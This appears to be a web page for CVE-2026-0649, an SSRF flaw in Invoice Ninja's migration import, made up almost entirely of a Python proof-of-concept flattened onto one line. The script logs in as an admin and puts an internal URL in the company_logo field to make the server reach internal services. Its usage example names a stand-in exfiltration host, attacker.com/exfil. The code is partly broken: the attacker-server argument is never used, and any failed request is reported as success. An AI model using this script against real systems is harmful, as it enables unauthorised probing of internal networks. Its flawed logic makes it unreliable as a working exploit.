CVE-2026-0649: Invoice Ninja Migration Import组件SSRF漏洞

import requests import sys # CVE-2026-0649 PoC - Invoice Ninja SSRF via Migration Import # Target: Invoice Ninja <= 5.12.38 # Attack Vector: company_logo parameter in Migration Import def exploit_ssrf(target_url, internal_target, attacker_server): """ Exploit SSRF vulnerability in Invoice Ninja Migration Import target_url: Base URL of Invoice Ninja instance internal_target: Internal service to target (e.g., 'http://127.0.0.1:22') attacker_server: Attacker's server to receive internal response """ # Login to get session login_url = f"{target_url}/login" session = requests.Session() # Credentials for high-privilege user credentials = { 'email': '[email protected]', 'password': 'admin_password' } # Login request login_response = session.post(login_url, data=credentials) if login_response.status_code != 200: print("[-] Login failed") return False # Navigate to Migration Import functionality import_url = f"{target_url}/settings/import_export" # Prepare SSRF payload via company_logo parameter # The vulnerable parameter accepts URL for company logo ssrf_payload = { 'company_logo': internal_target, # e.g., http://127.0.0.1:8080 'import_type': 'json', 'data_file': open('malicious_data.json', 'rb') } # Send malicious request try: response = session.post(import_url, files=ssrf_payload, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[*] SSRF triggered - internal request made to: {internal_target}") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-0649_poc.py <target_url> <internal_target> <attacker_server>") print("Example: python cve-2026-0649_poc.py http://vulnerable-invoice-ninja.com http://127.0.0.1:22 http://attacker.com/exfil") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] attacker = sys.argv[3] exploit_ssrf(target, internal, attacker)